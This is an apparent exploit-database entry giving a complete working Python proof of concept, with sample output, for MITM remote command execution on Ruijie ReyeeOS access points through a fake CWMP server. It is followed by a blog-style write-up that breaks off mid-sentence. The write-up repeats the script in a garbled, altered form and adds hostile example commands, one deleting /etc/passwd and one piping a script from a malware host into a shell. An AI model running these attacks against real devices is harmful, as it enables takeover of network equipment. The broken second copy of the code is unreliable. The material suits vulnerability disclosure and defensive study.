ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE)
# Exploit Title: ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE)
# Google Dork: None
# Date: July 31, 2023
# Exploit Author: Riyan Firmansyah of Seclab
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/support/documents/slide_EW1200G-PRO-Firmware-B11P204
# Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400)
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
# CVE : None
"""
Summary
=======
The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection.
In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request.
Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server.
Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from html import escape, unescape
import http.server
import socketserver
import io
import time
import re
import argparse
import gzip
# command payload
command = "uname -a"
# change this to serve on a different port
PORT = 8080
def cwmp_inform(soap):
cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
product_class = re.search(r"(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)
serial_number = re.search(r"(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)
result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)
for parameter in parameters:
parameter_name = re.search(r"(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)
parameter_value = re.search(r"(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)
result['parameters'][parameter_name] = parameter_value
return result
def cwmp_inform_response():
return """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
def command_payload(command):
current_time = time.time()
result = """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)
return result
def command_response(soap):
cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
command = re.search(r"(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)
response = re.search(r"(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)
result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}
return result
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
protocol_version = 'HTTP/1.1'
def do_GET(self):
self.send_response(204)
self.end_headers()
def do_POST(self):
print("[*] Got hit by", self.client_address)
f = io.BytesIO()
if 'service' in self.path:
stage, info = self.parse_stage()
if stage == "cwmp_inform":
self.send_response(200)
print("[!] Got Device information", self.client_address)
print("[*] Product Class:", info['product_class'])
print("[*] Serial Number:", info['serial_number'])
print("[*] MAC Address:", info['parameters']['mac'])
print("[*] STUN Client IP:", info['parameters']['stunclientip'])
payload = bytes(cwmp_inform_response(), 'utf-8')
f.write(payload)
self.send_header("Content-Length", str(f.tell()))
elif stage == "command_request":
self.send_response(200)
self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")
print("[*] Device interacting", self.client_address)
print(info)
payload = bytes(command_payload(escape("ping -c 4 127.0.0.1 && {}".format(command))), 'utf-8')
f.write(payload)
self.send_header("Content-Length", str(f.tell()))
else:
print("[*] Command response", self.client_address)
print(unescape(info['response']))
self.send_response(204)
f.write(b"")
else:
print("[x] Received invalid request", self.client_address)
self.send_response(204)
f.write(b"")
f.seek(0)
self.send_header("Connection", "keep-alive")
self.send_header("Content-type", "text/xml;charset=utf-8")
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def parse_stage(self):
content_length = int(self.headers['Content-Length'])
post_data = gzip.decompress(self.rfile.read(content_length))
if "cwmp:Inform" in post_data.decode("utf-8"):
return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))
elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):
return ("command_response", command_response(post_data.decode("utf-8")))
else:
return ("command_request", "Ping!")
def log_message(self, format, *args):
return
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
help='Specify alternate bind address '
'[default: all interfaces]')
parser.add_argument('port', action='store',
default=PORT, type=int,
nargs='?',
help='Specify alternate port [default: {}]'.format(PORT))
args = parser.parse_args()
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
ip_addr = args.bind if args.bind != '' else '0.0.0.0'
print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
"""
Output
======
ubuntu:~$ python3 exploit.py
[!] serving fake CWMP server at 0.0.0.0:8080
[*] Got hit by ('[redacted]', [redacted])
[!] Got Device information ('[redacted]', [redacted])
[*] Product Class: EW1200G-PRO
[*] Serial Number: [redacted]
[*] MAC Address: [redacted]
[*] STUN Client IP: [redacted]:[redacted]
[*] Got hit by ('[redacted]', [redacted])
[*] Device interacting ('[redacted]', [redacted])
Ping!
[*] Got hit by ('[redacted]', [redacted])
[*] Command response ('[redacted]', [redacted])
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.400 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.300 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.300/0.335/0.400 ms
Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux
""" ReyeeOS 1.204.1614 – MITM Remote Code Execution (RCE): A Deep Dive into a Critical Firmware Vulnerability
On July 31, 2023, cybersecurity researcher Riyan Firmansyah of Seclab disclosed a critical vulnerability in ReyeeOS 1.204.1614, a firmware version used in Ruijie’s cloud-managed wireless access points such as the RG-EW1200 and RG-EW1200G PRO. This flaw enables a Man-in-the-Middle (MITM) Remote Code Execution (RCE) attack, allowing adversaries to execute arbitrary commands on vulnerable devices through a seemingly innocuous diagnostic tool. Despite the absence of a formal CVE assignment, the implications of this vulnerability are severe and warrant immediate attention.
Understanding the Vulnerability: OS Command Injection via Ping Tool
The core of the exploit lies in the diagnostic ping tool accessible through the Ruijie Reyee Cloud Web Controller. This tool allows administrators to test connectivity by entering an IP address. However, the input validation is insufficient—specifically, it fails to sanitize user-supplied input before passing it to the underlying operating system.
When a user inputs an IP address, the system internally executes a ping command. If the input contains shell metacharacters (e.g., &, ;, ||, or $(), the command is not properly escaped. This opens the door for OS command injection. For example, an attacker could submit:
192.168.1.1; uname -aAs a result, the system would execute both the ping command and the uname -a command, which returns the system’s kernel information. This demonstrates that command injection is possible within the web interface.
Exploiting the Unencrypted CWMP Protocol: The MITM Attack Vector
What makes this vulnerability particularly dangerous is the unencrypted HTTP communication between the device and the Ruijie Reyee CWMP (CPE WAN Management Protocol) server. Unlike secure protocols such as HTTPS or TLS, this communication is transmitted in plain text, making it vulnerable to interception and manipulation.
During normal operation, the device periodically polls the CWMP server to check for pending commands. The request format is a SOAP-based XML message. An attacker can exploit this by setting up a fake CWMP server using a MITM attack—either by spoofing the DNS response, manipulating ARP tables, or intercepting traffic on a local network.
Once the device connects to the attacker-controlled server, the attacker can craft a malicious Inform message that appears legitimate to the device. The server responds with a SOAP message containing a command to be executed.
Example of a Malicious CWMP Response
Below is a simplified representation of the malicious Inform response that an attacker could send:
POST /cwmp HTTP/1.1
Host: fake-cwmp-server.local
Content-Type: text/xml; charset=utf-8
16
1
ExecuteCommand
Command
rm -rf /etc/passwd; echo "Malware installed"
This response mimics a legitimate command from the cloud controller. The device, unaware of the MITM, executes the command—potentially leading to system corruption, data deletion, or persistent backdoor installation.
Exploit Implementation: A Python-based MITM Server
Seclab’s researcher provided a proof-of-concept Python script that emulates a fake CWMP server. This script uses http.server and socketserver to listen on port 8080, intercepting device requests and responding with crafted commands.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from html import escape, unescape
import http.server
import socketserver
import io
import time
import re
import argparse
import gzip
# command payload
command = "uname -a"
# change this to serve on a different port
PORT = 8080
def cwmp_inform(soap):
cwmp_id = re.search(r"(?:)(.*?)(?:)", soap).group(1)
product_class = re.search(r"(?:)(.*?)(?:)", soap).group(1)
serial_number = re.search(r"(?:)(.*?)(?:)", soap).group(1)
result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
parameters = re.findall(r"(?:)(.*?)(?:)", soap)
for parameter in parameters:
parameter_name = re.search(r"(?:)(.*?)(?:)", parameter).group(1)
parameter_value = re.search(r"(?:)(.*?)(?:)", parameter).group(1)
result['parameters'][parameter_name] = parameter_value
return result
def cwmp_inform_response():
return """
16
1
ExecuteCommand
Command
""" + command + """
"""
While this script is functional, it lacks critical security measures. For example, it does not verify the authenticity of the device’s request (e.g., checking for valid SerialNumber or ProductClass), which could lead to unintended responses or exposure to abuse. A robust implementation would include:
- Request validation to ensure the device is genuine and authorized.
- Rate limiting to prevent abuse.
- Log tracking to monitor malicious activity.
- Authentication mechanisms (e.g., using HMAC or digital signatures).
Attack Scenario: Real-World Exploitation
Imagine a corporate network where Ruijie RG-EW1200G PRO access points are deployed. An attacker gains access to the local network (e.g., via a compromised IoT device or guest Wi-Fi). Using tools like mitmproxy or ettercap, they redirect traffic from the devices to their fake CWMP server.
After the device polls the fake server, it receives a command to execute curl http://malware.c2-server.com/download.sh | sh. This downloads and executes a malicious script, potentially installing a reverse shell, stealing credentials, or pivoting to